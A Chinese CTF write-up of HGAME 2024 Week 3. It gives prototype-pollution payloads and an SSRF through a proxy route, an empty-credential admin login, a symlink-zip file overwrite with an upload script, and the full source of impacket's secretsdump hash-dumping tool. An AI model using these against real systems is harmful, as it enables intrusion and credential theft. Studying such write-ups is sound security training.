HGAME-2024-WEEK-3 WriteUps

本文最后更新于:6 个月前

WEB

WebVPN

考察原型链污染

审计源码,明显看到

1
2
3
4
5
6
7
8
9
10
11
12
function update(dst, src) {
for (key in src) {
if (key.indexOf('__') != -1) {
continue
}
if (typeof src[key] == 'object' && dst[key] !== undefined) {
update(dst[key], src[key])
continue
}
dst[key] = src[key]
}
}

image-20240221205347730

过滤了 __ ,这里可以使用前端原型链污染漏洞竟可以拿下服务器shell? - 掘金 (juejin.cn)

{"constructor": {"prototype": {"role": "admin"}}} 也可以实现污染

image-20240221205037939

可以看到需要满足三个条件,遂构造

1
2
3
4
5
6
7
8
9
10
11
{
"constructor":{
"prototype":{
"headers": {
"host": "127.0.0.1:3000"
},
"hostname": "127.0.0.1",
"ip": "127.0.0.1"
}
}
}

or

1
2
3
4
5
6
7
8
9
{
"constructor":{
"prototype":{
"host": "127.0.0.1:3000",
"hostname": "127.0.0.1",
"ip": "127.0.0.1"
}
}
}

image-20240221204046254

用 Burp 打开并登录(这里要跳到 /home 渲染之后再进行下一步

选择 HTTP历史记录 ,/user/login 发送到 Repeater

image-20240221204445388

image-20240221211250652

剩下一个 /proxy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
app.use("/proxy", async (req, res) => {
const { username } = req.session;
if (!username) {
res.sendStatus(403);
}

let url = (() => {
try {
return new URL(req.query.url);
} catch {
res.status(400);
res.end("invalid url.");
return undefined;
}
})();

if (!url) return;

if (!userStorage[username].strategy[url.hostname]) {
res.status(400);
res.end("your url is not allowed.");
}

try {
const headers = req.headers;
headers.host = url.host;
headers.cookie = headers.cookie.split(";").forEach((cookie) => {
var filtered_cookie = "";
const [key, value] = cookie.split("=", 1);
if (key.trim() !== session_name) {
filtered_cookie += `${key}=${value};`;
}
return filtered_cookie;
});
const remote_res = await (() => {
if (req.method == "POST") {
return axios.post(url, req.body, {
headers: headers,
});
} else if (req.method == "GET") {
return axios.get(url, {
headers: headers,
});
} else {
res.status(405);
res.end("method not allowed.");
return;
}
})();
res.status(remote_res.status);
res.header(remote_res.headers);
res.write(remote_res.data);
} catch (e) {
res.status(500);
res.end("unreachable url.");
}
});

可以知道需要通过image-20240221212052944检查

猜测用 /proxy?url=127.0.0.1:3000/flag 通过 /flag 的条件

遂追加

1
2
3
4
5
6
7
8
9
10
{
"constructor":{
"prototype":{
"host": "127.0.0.1:3000",
"hostname": "127.0.0.1",
"ip": "127.0.0.1",
"127.0.0.1": true // <---
}
}
}

用 Repeater 改成 /user/info请求 进行原型链污染

image-20240221213620339

刷新得到image-20240221214032213

访问 http://47.102.184.100:32008/proxy?url=http://127.0.0.1:3000/flag 得到 flag

image-20240221214452699

呕🤢~~~

审计可以知道只有Admin能登录

发现数据表

image-20240221214748707

(尝试登录—>失败

F12 控制台尝试传空值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
fetch(`/api/user`, {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
username:"",
token:""
})
})
.then(response => response.json())
.then(data => {
const memory = document.createElement('div');
memory.innerHTML = `
<p class="memory">${data.data.Memory}</p>
`;console.log(data.data);
section.appendChild(memory);
})
.catch(error => {
alert(data.message)
console.log("Error" + error);
});

发现传回了数据库第一条即Admin的数据

image-20240221220423762

image-20240221220947975

遂登录

剩下 /file.go 猜测 软连接unzip

猜测思路是:上传 指向/app的软连接压缩包zip,解压之后 /tmp 会存在一个指向 /app 的软链接,并再上传一个文件目录为 /app/secret 的压缩包zip,解压刚好覆盖原有 /app/secret,secret内容应该为 /flag

image-20240221221608392

刚好对的上

image-20240221222347176

有个坑,不同浏览器对ZIP文件的MIME类型表示似乎不一样,所以我们这里使用 python 来发包

拿gpt生成一个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests


def upload_zip_file(file_path, upload_url):
try:
with open(file_path, 'rb') as file:
with requests.Session() as session:
# 设置会话的 Cookie
session.cookies['session'] = "MTcwODUwMjEzMXxEWDhFQVFMX2dBQUJFQUVRQUFBbl80QUFBUVp6ZEhKcGJtY01DZ0FJZFhObGNtNWhiV1VHYzNSeWFXNW5EQWNBQlVGa2JXbHV8QuJIV_GooHukGQmAE_56U-m2NWw2wOWc5t5vxqcsxys=" # 替换为自己的 session
# 发送 POST 请求
files = {'file': ('file.zip', file, 'application/zip')}
response = session.post(upload_url, files=files)
if response.status_code == 200:
print("File uploaded successfully.")
print("Server response:", response.text)
else:
print(f"Failed to upload file. Status code: {response.status_code}")
print("Error message:", response.text)
except Exception as e:
print(f"An error occurred: {e}")
if __name__ == "__main__":
file_path = 'app2.zip' # 替换为要上传的 ZIP 文件的路径
upload_url = 'http://139.224.232.162:30639/api/upload' # 替换为接收上传的服务器端 URL
upload_zip_file(file_path, upload_url)

把前面的 app.zip 上传并解压image-20240221222804290

secret 写入 /flag

压缩image-20240221222918273

同样上传解压,访问 /api/secret 得到 flag

MISC

简单的vmdk取证

用 DiskGenius 打开虚拟磁盘导出

  • \WINDOWS\system32\config\SECURITY
  • \WINDOWS\system32\config\system
  • \WINDOWS\system32\config\SAM

使用脚本

secret.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
#!/usr/bin/env python
# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
#
# This software is provided under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description: Performs various techniques to dump hashes from the
# remote machine without executing any agent there.
# For SAM and LSA Secrets (including cached creds)
# we try to read as much as we can from the registry
# and then we save the hives in the target system
# (%SYSTEMROOT%\\Temp dir) and read the rest of the
# data from there.
# For NTDS.dit we either:
# a. Get the domain users list and get its hashes
# and Kerberos keys using [MS-DRDS] DRSGetNCChanges()
# call, replicating just the attributes we need.
# b. Extract NTDS.dit via vssadmin executed with the
# smbexec approach.
# It's copied on the temp dir and parsed remotely.
#
# The script initiates the services required for its working
# if they are not available (e.g. Remote Registry, even if it is
# disabled). After the work is done, things are restored to the
# original state.
#
# Author:
# Alberto Solino (@agsolino)
#
# References: Most of the work done by these guys. I just put all
# the pieces together, plus some extra magic.
#
# https://github.com/gentilkiwi/kekeo/tree/master/dcsync
# https://moyix.blogspot.com.ar/2008/02/syskey-and-sam.html
# https://moyix.blogspot.com.ar/2008/02/decrypting-lsa-secrets.html
# https://moyix.blogspot.com.ar/2008/02/cached-domain-credentials.html
# https://web.archive.org/web/20130901115208/www.quarkslab.com/en-blog+read+13
# https://code.google.com/p/creddump/
# https://lab.mediaservice.net/code/cachedump.rb
# https://insecurety.net/?p=768
# http://www.beginningtoseethelight.org/ntsecurity/index.htm
# https://www.exploit-db.com/docs/english/18244-active-domain-offline-hash-dump-&-forensic-analysis.pdf
# https://www.passcape.com/index.php?section=blog&cmd=details&id=15
#
from __future__ import division
from __future__ import print_function
import argparse
import codecs
import logging
import os
import sys

from impacket import version
from impacket.examples import logger
from impacket.examples.utils import parse_target
from impacket.smbconnection import SMBConnection

from impacket.examples.secretsdump import (
LocalOperations,
RemoteOperations,
SAMHashes,
LSASecrets,
NTDSHashes,
)
from impacket.krb5.keytab import Keytab

try:
input = raw_input
except NameError:
pass


class DumpSecrets:
def __init__(self, remoteName, username="", password="", domain="", options=None):
self.__useVSSMethod = options.use_vss
self.__remoteName = remoteName
self.__remoteHost = options.target_ip
self.__username = username
self.__password = password
self.__domain = domain
self.__lmhash = ""
self.__nthash = ""
self.__aesKey = options.aesKey
self.__smbConnection = None
self.__remoteOps = None
self.__SAMHashes = None
self.__NTDSHashes = None
self.__LSASecrets = None
self.__systemHive = options.system
self.__bootkey = options.bootkey
self.__securityHive = options.security
self.__samHive = options.sam
self.__ntdsFile = options.ntds
self.__history = options.history
self.__noLMHash = True
self.__isRemote = True
self.__outputFileName = options.outputfile
self.__doKerberos = options.k
self.__justDC = options.just_dc
self.__justDCNTLM = options.just_dc_ntlm
self.__justUser = options.just_dc_user
self.__pwdLastSet = options.pwd_last_set
self.__printUserStatus = options.user_status
self.__resumeFileName = options.resumefile
self.__canProcessSAMLSA = True
self.__kdcHost = options.dc_ip
self.__options = options

if options.hashes is not None:
self.__lmhash, self.__nthash = options.hashes.split(":")

def connect(self):
self.__smbConnection = SMBConnection(self.__remoteName, self.__remoteHost)
if self.__doKerberos:
self.__smbConnection.kerberosLogin(
self.__username,
self.__password,
self.__domain,
self.__lmhash,
self.__nthash,
self.__aesKey,
self.__kdcHost,
)
else:
self.__smbConnection.login(
self.__username,
self.__password,
self.__domain,
self.__lmhash,
self.__nthash,
)

def dump(self):
try:
if self.__remoteName.upper() == "LOCAL" and self.__username == "":
self.__isRemote = False
self.__useVSSMethod = True
if self.__systemHive:
localOperations = LocalOperations(self.__systemHive)
bootKey = localOperations.getBootKey()
if self.__ntdsFile is not None:
# Let's grab target's configuration about LM Hashes storage
self.__noLMHash = localOperations.checkNoLMHashPolicy()
else:
import binascii

bootKey = binascii.unhexlify(self.__bootkey)

else:
self.__isRemote = True
bootKey = None
try:
try:
self.connect()
except Exception as e:
if (
os.getenv("KRB5CCNAME") is not None
and self.__doKerberos is True
):
# SMBConnection failed. That might be because there was no way to log into the
# target system. We just have a last resort. Hope we have tickets cached and that they
# will work
logging.debug(
"SMBConnection didn't work, hoping Kerberos will help (%s)"
% str(e)
)
pass
else:
raise

self.__remoteOps = RemoteOperations(
self.__smbConnection, self.__doKerberos, self.__kdcHost
)
self.__remoteOps.setExecMethod(self.__options.exec_method)
if (
self.__justDC is False
and self.__justDCNTLM is False
or self.__useVSSMethod is True
):
self.__remoteOps.enableRegistry()
bootKey = self.__remoteOps.getBootKey()
# Let's check whether target system stores LM Hashes
self.__noLMHash = self.__remoteOps.checkNoLMHashPolicy()
except Exception as e:
self.__canProcessSAMLSA = False
if (
str(e).find("STATUS_USER_SESSION_DELETED")
and os.getenv("KRB5CCNAME") is not None
and self.__doKerberos is True
):
# Giving some hints here when SPN target name validation is set to something different to Off
# This will prevent establishing SMB connections using TGS for SPNs different to cifs/
logging.error(
"Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user"
)
else:
logging.error("RemoteOperations failed: %s" % str(e))

# If RemoteOperations succeeded, then we can extract SAM and LSA
if (
self.__justDC is False
and self.__justDCNTLM is False
and self.__canProcessSAMLSA
):
try:
if self.__isRemote is True:
SAMFileName = self.__remoteOps.saveSAM()
else:
SAMFileName = self.__samHive

self.__SAMHashes = SAMHashes(
SAMFileName, bootKey, isRemote=self.__isRemote
)
self.__SAMHashes.dump()
if self.__outputFileName is not None:
self.__SAMHashes.export(self.__outputFileName)
except Exception as e:
logging.error("SAM hashes extraction failed: %s" % str(e))

try:
if self.__isRemote is True:
SECURITYFileName = self.__remoteOps.saveSECURITY()
else:
SECURITYFileName = self.__securityHive

self.__LSASecrets = LSASecrets(
SECURITYFileName,
bootKey,
self.__remoteOps,
isRemote=self.__isRemote,
history=self.__history,
)
self.__LSASecrets.dumpCachedHashes()
if self.__outputFileName is not None:
self.__LSASecrets.exportCached(self.__outputFileName)
self.__LSASecrets.dumpSecrets()
if self.__outputFileName is not None:
self.__LSASecrets.exportSecrets(self.__outputFileName)
except Exception as e:
if logging.getLogger().level == logging.DEBUG:
import traceback

traceback.print_exc()
logging.error("LSA hashes extraction failed: %s" % str(e))

# NTDS Extraction we can try regardless of RemoteOperations failing. It might still work
if self.__isRemote is True:
if self.__useVSSMethod and self.__remoteOps is not None:
NTDSFileName = self.__remoteOps.saveNTDS()
else:
NTDSFileName = None
else:
NTDSFileName = self.__ntdsFile

self.__NTDSHashes = NTDSHashes(
NTDSFileName,
bootKey,
isRemote=self.__isRemote,
history=self.__history,
noLMHash=self.__noLMHash,
remoteOps=self.__remoteOps,
useVSSMethod=self.__useVSSMethod,
justNTLM=self.__justDCNTLM,
pwdLastSet=self.__pwdLastSet,
resumeSession=self.__resumeFileName,
outputFileName=self.__outputFileName,
justUser=self.__justUser,
printUserStatus=self.__printUserStatus,
)
try:
self.__NTDSHashes.dump()
except Exception as e:
if logging.getLogger().level == logging.DEBUG:
import traceback

traceback.print_exc()
if str(e).find("ERROR_DS_DRA_BAD_DN") >= 0:
# We don't store the resume file if this error happened, since this error is related to lack
# of enough privileges to access DRSUAPI.
resumeFile = self.__NTDSHashes.getResumeSessionFile()
if resumeFile is not None:
os.unlink(resumeFile)
logging.error(e)
if (
self.__justUser
and str(e).find("ERROR_DS_NAME_ERROR_NOT_UNIQUE") >= 0
):
logging.info(
"You just got that error because there might be some duplicates of the same name. "
"Try specifying the domain name for the user as well. It is important to specify it "
"in the form of NetBIOS domain name/user (e.g. contoso/Administratror)."
)
elif self.__useVSSMethod is False:
logging.info(
"Something wen't wrong with the DRSUAPI approach. Try again with -use-vss parameter"
)
self.cleanup()
except (Exception, KeyboardInterrupt) as e:
if logging.getLogger().level == logging.DEBUG:
import traceback

traceback.print_exc()
logging.error(e)
if self.__NTDSHashes is not None:
if isinstance(e, KeyboardInterrupt):
while True:
answer = input("Delete resume session file? [y/N] ")
if answer.upper() == "":
answer = "N"
break
elif answer.upper() == "Y":
answer = "Y"
break
elif answer.upper() == "N":
answer = "N"
break
if answer == "Y":
resumeFile = self.__NTDSHashes.getResumeSessionFile()
if resumeFile is not None:
os.unlink(resumeFile)
try:
self.cleanup()
except:
pass

def cleanup(self):
logging.info("Cleaning up... ")
if self.__remoteOps:
self.__remoteOps.finish()
if self.__SAMHashes:
self.__SAMHashes.finish()
if self.__LSASecrets:
self.__LSASecrets.finish()
if self.__NTDSHashes:
self.__NTDSHashes.finish()


# Process command-line arguments.
if __name__ == "__main__":
# Explicitly changing the stdout encoding format
if sys.stdout.encoding is None:
# Output is redirected to a file
sys.stdout = codecs.getwriter("utf8")(sys.stdout)

print(version.BANNER)

parser = argparse.ArgumentParser(
add_help=True,
description="Performs various techniques to dump secrets from "
"the remote machine without executing any agent there.",
)

parser.add_argument(
"target",
action="store",
help="[[domain/]username[:password]@]<targetName or address> or LOCAL"
" (if you want to parse local files)",
)
parser.add_argument(
"-ts", action="store_true", help="Adds timestamp to every logging output"
)
parser.add_argument("-debug", action="store_true", help="Turn DEBUG output ON")
parser.add_argument("-system", action="store", help="SYSTEM hive to parse")
parser.add_argument("-bootkey", action="store", help="bootkey for SYSTEM hive")
parser.add_argument("-security", action="store", help="SECURITY hive to parse")
parser.add_argument("-sam", action="store", help="SAM hive to parse")
parser.add_argument("-ntds", action="store", help="NTDS.DIT file to parse")
parser.add_argument(
"-resumefile",
action="store",
help="resume file name to resume NTDS.DIT session dump (only "
"available to DRSUAPI approach). This file will also be used to keep updating the session's "
"state",
)
parser.add_argument(
"-outputfile",
action="store",
help="base output filename. Extensions will be added for sam, secrets, cached and ntds",
)
parser.add_argument(
"-use-vss",
action="store_true",
default=False,
help="Use the VSS method insead of default DRSUAPI",
)
parser.add_argument(
"-exec-method",
choices=["smbexec", "wmiexec", "mmcexec"],
nargs="?",
default="smbexec",
help="Remote exec "
"method to use at target (only when using -use-vss). Default: smbexec",
)
group = parser.add_argument_group("display options")
group.add_argument(
"-just-dc-user",
action="store",
metavar="USERNAME",
help="Extract only NTDS.DIT data for the user specified. Only available for DRSUAPI approach. "
"Implies also -just-dc switch",
)
group.add_argument(
"-just-dc",
action="store_true",
default=False,
help="Extract only NTDS.DIT data (NTLM hashes and Kerberos keys)",
)
group.add_argument(
"-just-dc-ntlm",
action="store_true",
default=False,
help="Extract only NTDS.DIT data (NTLM hashes only)",
)
group.add_argument(
"-pwd-last-set",
action="store_true",
default=False,
help="Shows pwdLastSet attribute for each NTDS.DIT account. Doesn't apply to -outputfile data",
)
group.add_argument(
"-user-status",
action="store_true",
default=False,
help="Display whether or not the user is disabled",
)
group.add_argument(
"-history",
action="store_true",
help="Dump password history, and LSA secrets OldVal",
)
group = parser.add_argument_group("authentication")

group.add_argument(
"-hashes",
action="store",
metavar="LMHASH:NTHASH",
help="NTLM hashes, format is LMHASH:NTHASH",
)
group.add_argument(
"-no-pass", action="store_true", help="don't ask for password (useful for -k)"
)
group.add_argument(
"-k",
action="store_true",
help="Use Kerberos authentication. Grabs credentials from ccache file "
"(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use"
" the ones specified in the command line",
)
group.add_argument(
"-aesKey",
action="store",
metavar="hex key",
help="AES key to use for Kerberos Authentication" " (128 or 256 bits)",
)
group.add_argument(
"-keytab", action="store", help="Read keys for SPN from keytab file"
)
group = parser.add_argument_group("connection")
group.add_argument(
"-dc-ip",
action="store",
metavar="ip address",
help="IP Address of the domain controller. If "
"ommited it use the domain part (FQDN) specified in the target parameter",
)
group.add_argument(
"-target-ip",
action="store",
metavar="ip address",
help="IP Address of the target machine. If omitted it will use whatever was specified as target. "
"This is useful when target is the NetBIOS name and you cannot resolve it",
)

if len(sys.argv) == 1:
parser.print_help()
sys.exit(1)

options = parser.parse_args()

# Init the example's logger theme
logger.init(options.ts)

if options.debug is True:
logging.getLogger().setLevel(logging.DEBUG)
# Print the Library's installation path
logging.debug(version.getInstallationPath())
else:
logging.getLogger().setLevel(logging.INFO)

domain, username, password, remoteName = parse_target(options.target)

if options.just_dc_user is not None:
if options.use_vss is True:
logging.error("-just-dc-user switch is not supported in VSS mode")
sys.exit(1)
elif options.resumefile is not None:
logging.error(
"resuming a previous NTDS.DIT dump session not compatible with -just-dc-user switch"
)
sys.exit(1)
elif remoteName.upper() == "LOCAL" and username == "":
logging.error("-just-dc-user not compatible in LOCAL mode")
sys.exit(1)
else:
# Having this switch on implies not asking for anything else.
options.just_dc = True

if options.use_vss is True and options.resumefile is not None:
logging.error(
"resuming a previous NTDS.DIT dump session is not supported in VSS mode"
)
sys.exit(1)

if (
remoteName.upper() == "LOCAL"
and username == ""
and options.resumefile is not None
):
logging.error(
"resuming a previous NTDS.DIT dump session is not supported in LOCAL mode"
)
sys.exit(1)

if remoteName.upper() == "LOCAL" and username == "":
if options.system is None and options.bootkey is None:
logging.error(
"Either the SYSTEM hive or bootkey is required for local parsing, check help"
)
sys.exit(1)
else:

if options.target_ip is None:
options.target_ip = remoteName

if domain is None:
domain = ""

if options.keytab is not None:
Keytab.loadKeysFromKeytab(options.keytab, username, domain, options)
options.k = True

if (
password == ""
and username != ""
and options.hashes is None
and options.no_pass is False
and options.aesKey is None
):
from getpass import getpass

password = getpass("Password:")

if options.aesKey is not None:
options.k = True

dumper = DumpSecrets(remoteName, username, password, domain, options)
try:
dumper.dump()
except Exception as e:
if logging.getLogger().level == logging.DEBUG:
import traceback

traceback.print_exc()
logging.error(e)

得到

image-20240221224614445

使用Online NTLM Encrypt and Decrypt (md5decrypt.net)

image-20240221224836258

拼接得到 flag

简单的取证,不过前十个有红包

通过上面 DiskGenius 访问桌面得到

secret_password

再用 VeraCrypt 输入密码打开得到 flag

与ai聊天

image-20240221225058090

Blind SQL Injection

布尔盲注

审计流量一个个往下看把 hex 转成 ASCII 就是


HGAME-2024-WEEK-3 WriteUps
http://example.com/posts/7bf98902/
作者
Fanllspd
发布于
2024年2月21日
更新于
2024年3月19日
许可协议